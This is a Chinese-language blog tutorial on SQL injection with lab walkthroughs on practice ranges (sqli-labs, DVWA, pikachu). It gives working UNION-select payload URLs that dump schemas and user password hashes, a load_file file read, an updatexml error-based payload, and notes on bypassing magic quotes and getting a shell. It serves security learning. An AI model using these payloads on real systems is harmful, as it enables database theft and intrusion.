SQL注入

1、SQL注入的危害

数据库数据泄露、注入获得shell

2、SQL注入原理

可控变量、带入到数据库中查询、变量未存在过滤或过滤不严谨

原理就是网页中用户可以传入一个参数,这个参数和后端代码的sql语句进行拼接,然后将拼接后的sql语句放到数据库中进行数据操作。原本这个参数是为了在数据库中数据操作的一些条件限制,现在我们可以将and 1=2拼接上让这条sql语句失效,然后再拼接上其他的sql语句来查询我们想要的数据。

3、SQL注入判定

www.along.com/id=1 and 1=1

www.along.com/id=1 and 1=2

www.along.com/id=1如果拼接and 1=1显示页面正常,拼接and 1=2页面错误,这种情况就有可能有注入点。原本www.along.com/id=1就是能正常显示页面,然后我们使用and且逻辑运算符和后面再加一个逻辑判断语句。且两真为真,一假则假。通过且这两个语句,就验证可以往上面拼接SQL语句,可以注入了。

4、信息收集

数据库版本:version()

数据库名字:database()

数据库用户:user()

操作系统:@@version_compile_os()

知识点:

1)、在MYSQL5.0以上版本,mysql有一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过它来获取指定数据库下的表名和列名信息。

2)、数据库中符号:"."代表下一级

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

5、高权限注入和低权限注入

#跨库查询及应用思路

思路:root高权限注入,找到注入点后,查找内置数据库information_schema中schemata表,查看有哪些数据库。找到目标数据库(靠自己判断),从information_schema.tables查找到目标数据库中有哪些表名。再从information_schema.columns查找到目标表中有哪些列名。最后查找出自己想要的数据。练习见下面的实验二

#文件读写操作

load_file():读取函数

into outfile 或 into dumpfile:导出函数

路径获取常见方法:

报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。

魔术引号:magic_quotes_gpc(php高版本取消这个方法了)为on时,会对单引号(')、双引号(")、反斜杠(\)和NULL等字符进行转义,起到一个过滤的作用。可以使用编码或宽字节来绕过。

6、相关防注入

自带防御:魔术引号

内置函数:

自定义关键字:注意考虑到数据库大小写不敏感

WAF安全软件:安全狗、宝塔等

7、数据类型和提交方法

数据类型

数字、字符、搜索、JSON等。我们要根据后端代码和SQL语句来确定我们注入参数的写法,比如数字型在后端代码的SQL拼接的时候不会有',而字符型就有,这时我们在注入时就要注意。如果是字符,那么我们就要在注入参数的后面加上--+或#将后面的sql语句注掉。

提交方法

GET、POST、COOKIE、REQUEST、HTTP头等

GET、POST是两种请求方法,单个接受,其中在URL中提交的一般是GET请求方法。COOKIE英文是曲奇饼,其实就是一个小型文本文件,放在用户端存储,可能存一些用户账号密码等数据用来做用户登录校验,服务端的$_COOKIE方法也可以接受GET、POST。服务端的$_REQUEST方法会全部接受。实际中我们可以测试得知提交方法。实验三演示一下post注入(常见于用户登录)

PHP中的$_SERVER方法可以获取访问者的一些信息,如操作系统、ip等。其他语言也有相类似的方法。我们将数据包抓住,在burpsuite中把相应的数据改成注入语句,如果服务端将这个注入语句获取到并带到数据库中查询,那么我们就可以相关的操作了。

其中SQL语句干扰符号:'、"、%、)、}等,具体看写法,要考虑后端SQL拼接后的闭合情况,保证SQL语句的正确性。因为我们无法得知后端SQL是咋写的,只能多次尝试。

8、数据库注入

1)明确数据库类型和权限

2)明确提交方法,参数类型等

3)明确数据库记录信息系统表

4)依次库、表、列、值注入查询

5)找后台,登录获取shell(可能会失败)

高权限可以文件读取、命令执行、注册表读取等方式来获取shell。

数据库有很多,它们的结构和语法可能都不同,根据实际渗透的数据库来写不同的注入语句。

9、数据库操作方式

数据库主要就是insert、delete、update、select四种操作,每种操作语法结构不同。我们可以根据网站的功能来判断是哪种操作,进而确定注入语句。

10、盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
1)报错回显

floor、updatexml、extractvalue

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值。

报错盲注具体使用见实验四演示。

2)

3)

参考地址:https://www.jianshu.com/p/bc35f8dd4f7chttps://developer.aliyun.com/article/692723第十六天报错盲注 (yuque.com)

-------------------------------------------------------------------------------------------------------------------------------------

实验一、墨者学院靶场SQL注入实验

经过判断后有注入

 

 猜解列名数量(字段数),order by x,x为第几列(1,2,3...),就是能用最大列来排序还能正常显示页面,这里使用这个方法猜出来有4列。

 报出二战

 可以看出来第二列和第三列有回显点,第二列用version()查看数据库版本,第三列用database()查看数据库名

 再第二列用user()查看数据库用户,第三列用@@version_compile_os查看操作系统

select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup',找到上面数据库中的表名

 找到上面数据库中的列名

 显示出用户名和密码

将后面一个密码解密登录,成功拿到了key

 -------------------------------------------------------------------------------------------------------------------------------------

实验二、跨站登录

搭建sqli-labs-master和dvwa靶场,利用sqlilabs中的漏洞来获取dvwa的登录账号和密码

http://localhost/sqli-labs-master/Less-2/?id=1%20order%20by%203猜解出有3列

http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,3查看出回显第二列和第三列的数据

http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata查找出mysql中的所有数据库,可以看到有我们需要的数据库dvwa

http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27dvwa%27从information_schema.tables查到数据库dvwa中的所有数据表

http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27从information_schema.columns查到表users中的所有列

http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(user),group_concat(password)%20from%20dvwa.users从dvwa数据库中的users表中查找到用户名和密码

 将admin下面的密码md5解密后输入dvwa的登录界面,成功进入。

 *******************************

读取文件http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,load_file(%27d:\\www.txt%27),3读取d盘下的www.txt文件注意这里的文件路径使用\\转义一下。如果文件内弄太大页面显示不出,右键查看网页源码。还有mysql的文件读取默认是关闭的,需要在MySQL的my.ini的[mysqld]下面加上secure_file_priv = ''开启。

 -------------------------------------------------------------------------------------------------------------------------------------

实验三、sqllib/less11,post注入,默认已经知道账号密码都为admin

开启靶场,浏览器设置代理,burpsuite打开并设置代理。进入靶场第十一关,输入账号和密码,然后burpsuite抓到对应的数据包。

 点击数据包右键点send to repeater,修改提交的参数,先看是否有注入点。

 在看有多少列,有两列。

 下面注入就不写了,参考实验一二,这个实验主要证明登录验证的过程可能会有SQL注入。

 -------------------------------------------------------------------------------------------------------------------------------------

实验四、报错回显

打开pikachu靶场,找SQL注入板块,填写注册信息,再用burpsuite抓到这个数据包。先看一下floor函数在报错注入中的使用。注入点加上语句'or updatexml(1,concat(0x7e,database(),0x7e),0) or'测试,burpsuite中修改页面和返回报错页面如下,可以看到数据库是pikachu。

 

posted @ 2023-05-16 21:05  数星观月  阅读(223)  评论(0编辑  收藏  举报